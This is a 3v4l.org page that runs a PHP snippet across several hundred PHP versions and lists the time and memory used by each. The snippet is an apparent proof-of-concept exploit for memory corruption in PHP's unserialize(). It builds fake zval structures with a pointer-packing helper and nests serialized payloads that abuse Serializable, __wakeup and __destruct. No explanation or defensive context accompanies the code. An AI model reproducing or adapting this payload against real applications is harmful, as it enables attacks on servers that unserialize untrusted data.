3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } class obj2 { var $ryat; function __wakeup() { $this->ryat = 1; } } class aod { public $aod; public function __destruct() { $this->aod=null;echo('des'); } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'a:1:{i:0;R:3;'; $exploit = 'a:3:{i:0;O:4:"obj2":1:{s:4:"ryat";C:3:"obj":'.strlen($inner).':{'.$inner.'}}'; $exploit.= 'i:1;s:'.strlen($fakezval).':"'.$fakezval.'";'; $exploit.= 'i:2;a:1:{i:13;a:1:{i:15;r:4;}}}'; $i='O:3:"aod":2:{s:3:"aod";a:5:{i:0;R:5;i:1;R:3;'; $j='C:3:"obj":'.strlen($i).':{'.$i.'}'; $k='C:3:"obj":'.strlen($j).':{'.$j.'}'; $l='a:2:{i:0;'.$k.'i:1;R:5;}'; $data = unserialize($l); var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.5.00.0130.01120.31
8.4.150.0030.00014.05
8.4.140.0140.00817.83
8.4.130.0150.00618.14
8.4.120.0120.00720.55
8.4.110.0140.00722.71
8.4.100.0110.00417.80
8.4.90.0140.00717.93
8.4.80.0030.00617.97
8.4.70.0060.00217.85
8.4.60.0050.00418.87
8.4.50.0120.00722.41
8.4.40.0040.00420.88
8.4.30.0100.01017.77
8.4.20.0070.01317.86
8.4.10.0040.00419.66
8.3.280.0120.01018.63
8.3.270.0130.00716.71
8.3.260.0090.01116.73
8.3.250.0090.01118.65
8.3.240.0120.00716.46
8.3.230.0130.00516.94
8.3.220.0080.00417.29
8.3.210.0060.00216.70
8.3.200.0050.00316.63
8.3.190.0110.00816.98
8.3.180.0110.00618.70
8.3.170.0090.00917.32
8.3.160.0070.01116.85
8.3.150.0080.01117.12
8.3.140.0120.00616.81
8.3.130.0030.00618.70
8.3.120.0040.01220.77
8.3.110.0060.00320.94
8.3.100.0080.00024.06
8.3.90.0120.00626.77
8.3.80.0030.00617.97
8.3.70.0150.00017.00
8.3.60.0040.01116.88
8.3.50.0050.01322.00
8.3.40.0110.00419.02
8.3.30.0070.00718.70
8.3.20.0060.00318.98
8.3.10.0080.00021.77
8.3.00.0050.00322.51
8.2.290.0110.01020.42
8.2.280.0050.00318.50
8.2.270.0130.00616.60
8.2.260.0040.00420.43
8.2.250.0000.01416.50
8.2.240.0120.00617.19
8.2.230.0070.00322.58
8.2.220.0040.00437.54
8.2.210.0040.00426.77
8.2.200.0060.00318.54
8.2.190.0070.00720.28
8.2.180.0150.00616.63
8.2.170.0110.00422.96
8.2.160.0140.00319.16
8.2.150.0050.00324.18
8.2.140.0040.00424.66
8.2.130.0050.00322.22
8.2.120.0080.00026.35
8.2.110.0030.00621.00
8.2.100.0080.00318.34
8.2.90.0040.00419.30
8.2.80.0040.00417.97
8.2.70.0030.00617.50
8.2.60.0080.00017.93
8.2.50.0000.00818.10
8.2.40.0050.00322.09
8.2.30.0040.00419.20
8.2.20.0000.00717.81
8.2.10.0080.00018.07
8.2.00.0040.00418.01
8.1.330.0090.00918.38
8.1.320.0080.01115.99
8.1.310.0080.00016.49
8.1.300.0090.00016.07
8.1.290.0060.00330.84
8.1.280.0110.00725.92
8.1.270.0040.00423.82
8.1.260.0040.00428.09
8.1.250.0000.00728.09
8.1.240.0000.01021.28
8.1.230.0070.00317.42
8.1.220.0000.00817.74
8.1.210.0050.00318.77
8.1.200.0110.00017.35
8.1.190.0050.00317.22
8.1.180.0040.00418.10
8.1.170.0000.00918.64
8.1.160.0070.00022.05
8.1.150.0070.00018.88
8.1.140.0000.00719.46
8.1.130.0000.00817.70
8.1.120.0040.00417.48
8.1.110.0050.00217.45
8.1.100.0000.00717.45
8.1.90.0000.00717.37
8.1.80.0040.00417.46
8.1.70.0070.00017.36
8.1.60.0080.00017.64
8.1.50.0030.00617.51
8.1.40.0050.00317.54
8.1.30.0050.00317.55
8.1.20.0050.00317.57
8.1.10.0030.00517.58
8.1.00.0030.00517.44
8.0.300.0040.00418.77
8.0.290.0030.00516.75
8.0.280.0070.00018.50
8.0.270.0030.00317.26
8.0.260.0030.00317.25
8.0.250.0030.00317.02
8.0.240.0000.00716.90
8.0.230.0050.00216.86
8.0.220.0040.00416.97
8.0.210.0070.00016.87
8.0.200.0000.00617.02
8.0.190.0040.00416.88
8.0.180.0070.00016.98
8.0.170.0000.00817.02
8.0.160.0000.00716.96
8.0.150.0030.00516.82
8.0.140.0050.00216.85
8.0.130.0060.00013.39
8.0.120.0000.00816.94
8.0.110.0040.00416.88
8.0.100.0000.00716.82
8.0.90.0040.00416.78
8.0.80.0070.01016.99
8.0.70.0030.00517.02
8.0.60.0080.00016.91
8.0.50.0000.00716.83
8.0.30.0100.00717.20
8.0.20.0100.01017.40
8.0.10.0030.00517.13
8.0.00.0230.00016.78
7.4.330.0050.00015.08
7.4.320.0070.00016.42
7.4.300.0000.00616.41
7.4.290.0030.00616.63
7.4.280.0050.00316.45
7.4.270.0030.00616.51
7.4.260.0040.00416.63
7.4.250.0000.00716.39
7.4.240.0060.00316.52
7.4.230.0000.00716.47
7.4.220.0190.00316.47
7.4.210.0130.00716.63
7.4.200.0040.00416.53
7.4.160.0130.00416.48
7.4.150.0060.01217.40
7.4.140.0090.00917.86
7.4.130.0120.00716.59
7.4.120.0070.01116.51
7.4.110.0070.00716.57
7.4.100.0040.01416.63
7.4.90.0120.00916.43
7.4.80.0120.00619.39
7.4.70.0080.00816.50
7.4.60.0130.00616.71
7.4.50.0090.00616.36
7.4.40.0090.00816.61
7.4.30.0070.01016.56
7.4.10.0100.00714.94
7.4.00.0110.00615.16
7.3.330.0030.00313.47
7.3.320.0050.00013.48
7.3.310.0000.00716.47
7.3.300.0000.00616.30
7.3.290.0080.00716.43
7.3.280.0110.00616.44
7.3.270.0150.00317.40
7.3.260.0140.00316.49
7.3.250.0080.00916.51
7.3.240.0100.01016.48
7.3.230.0110.01016.43
7.3.210.0170.00016.54
7.3.200.0060.01216.47
7.3.190.0060.00916.43
7.3.180.0200.00016.58
7.3.170.0140.00216.54
7.3.160.0000.02116.58
7.3.130.0060.00615.01
7.3.120.0140.00314.84
7.3.110.0060.01014.92
7.3.100.0070.01015.00
7.3.90.0030.01015.16
7.3.80.0000.01114.81
7.3.70.0030.00714.91
7.3.60.0070.00714.88
7.3.50.0000.01214.63
7.3.40.0090.00914.94
7.3.30.0070.00314.93
7.3.20.0000.01216.61
7.3.10.0090.00516.56
7.3.00.0090.00716.63
7.2.330.0110.00716.56
7.2.320.0090.00916.51
7.2.310.0090.00816.54
7.2.300.0140.00316.86
7.2.290.0090.00616.88
7.2.260.0100.00715.07
7.2.250.0070.01114.86
7.2.240.0030.01315.27
7.2.230.0000.01615.15
7.2.220.0060.00914.93
7.2.210.0060.00915.18
7.2.200.0070.00715.13
7.2.190.0100.00314.91
7.2.180.0090.00615.11
7.2.170.0000.01515.17
7.2.160.0030.00715.04
7.2.150.0030.01016.66
7.2.140.0070.00717.11
7.2.130.0100.00916.89
7.2.120.0070.00916.94
7.2.110.0110.01116.63
7.2.100.0100.00616.66
7.2.90.0160.00517.01
7.2.80.0080.00716.64
7.2.70.0060.01016.84
7.2.60.0090.01016.80
7.2.50.0090.00816.98
7.2.40.0120.00716.73
7.2.30.0120.00816.68
7.2.20.0070.01016.77
7.2.10.0080.01416.63
7.2.00.0080.01116.99
7.1.330.0030.01015.52
7.1.320.0030.01015.87
7.1.310.0090.00315.50
7.1.300.0000.00915.44
7.1.290.0030.00615.98
7.1.280.0030.00915.81
7.1.270.0060.00615.77
7.1.260.0000.01415.79
7.1.250.0110.00715.76
7.1.240.0000.01115.82
7.1.230.0000.01415.85
7.1.220.0040.00715.74
7.1.210.0030.00615.89
7.1.200.0100.00515.59
7.1.190.0050.00515.73
7.1.180.0040.01115.70
7.1.170.0070.00715.96
7.1.160.0070.00315.68
7.1.150.0000.01415.69
7.1.140.0070.00715.68
7.1.130.0100.00715.84
7.1.120.0090.00915.54
7.1.110.0060.00915.77
7.1.100.0030.00715.57
7.1.90.0030.01015.59
7.1.80.0050.00515.74
7.1.70.0020.01016.42
7.1.60.0070.00517.67
7.1.50.0070.01116.43
7.1.40.0100.00315.63
7.1.30.0030.01315.91
7.1.20.0090.00615.94
7.1.10.0030.01015.93
7.1.00.0070.03319.09
7.0.330.0030.00915.56
7.0.320.0040.00815.45
7.0.310.0030.01015.34
7.0.300.0000.00815.37
7.0.290.0030.01015.61
7.0.280.0030.00915.61
7.0.270.0030.01115.50
7.0.260.0070.01015.55
7.0.250.0040.00815.53
7.0.240.0050.00515.38
7.0.230.0040.00715.39
7.0.220.0130.00015.18
7.0.210.0080.00815.48
7.0.200.0070.00515.22
7.0.190.0000.01315.41
7.0.180.0030.00615.45
7.0.170.0030.01015.39
7.0.160.0060.00615.14
7.0.150.0070.00715.58
7.0.140.0100.00015.14
7.0.130.0100.00615.59
7.0.120.0060.00915.47
7.0.110.0060.00615.50
7.0.100.0040.01015.57
7.0.90.0090.02817.83
7.0.80.0050.03417.69
7.0.70.0080.03217.78
7.0.60.0090.03417.80
7.0.50.0090.03117.94
7.0.40.0050.03317.00
7.0.30.0080.03317.00
7.0.20.0050.03416.97
7.0.10.0260.03816.88
7.0.00.0200.02816.86
5.6.400.0040.01214.40
5.6.390.0070.01014.73
5.6.380.0060.00914.75
5.6.370.0130.00314.22
5.6.360.0100.00614.41
5.6.350.0060.00914.72
5.6.340.0040.01114.59
5.6.330.0030.01414.40
5.6.320.0080.00814.05
5.6.310.0000.01614.29
5.6.300.0040.00814.88
5.6.290.0030.01414.32
5.6.280.0030.01314.19
5.6.270.0060.00914.41
5.6.260.0090.00614.66
5.6.250.0030.01214.79
5.6.240.0070.03917.59
5.6.230.0030.03817.68
5.6.220.0080.03217.46
5.6.210.0080.03517.58
5.6.200.0110.03117.88
5.6.190.0030.04517.90
5.6.180.0050.03317.69
5.6.170.0110.02917.78
5.6.160.0080.03217.60
5.6.150.0030.03617.71
5.6.140.0050.03417.57
5.6.130.0130.03017.66
5.6.120.0110.02817.71
5.6.110.0030.03717.64
5.6.100.0140.02917.75
5.6.90.0070.03217.84
5.6.80.0070.03017.62
5.6.70.0080.03017.43
5.6.60.0110.02517.46
5.6.50.0120.02717.33
5.6.40.0070.03217.41
5.6.30.0020.03417.42
5.6.20.0100.02517.49
5.6.10.0020.03517.42
5.6.00.0070.03217.51

preferences:
187.48 ms | 403 KiB | 5 Q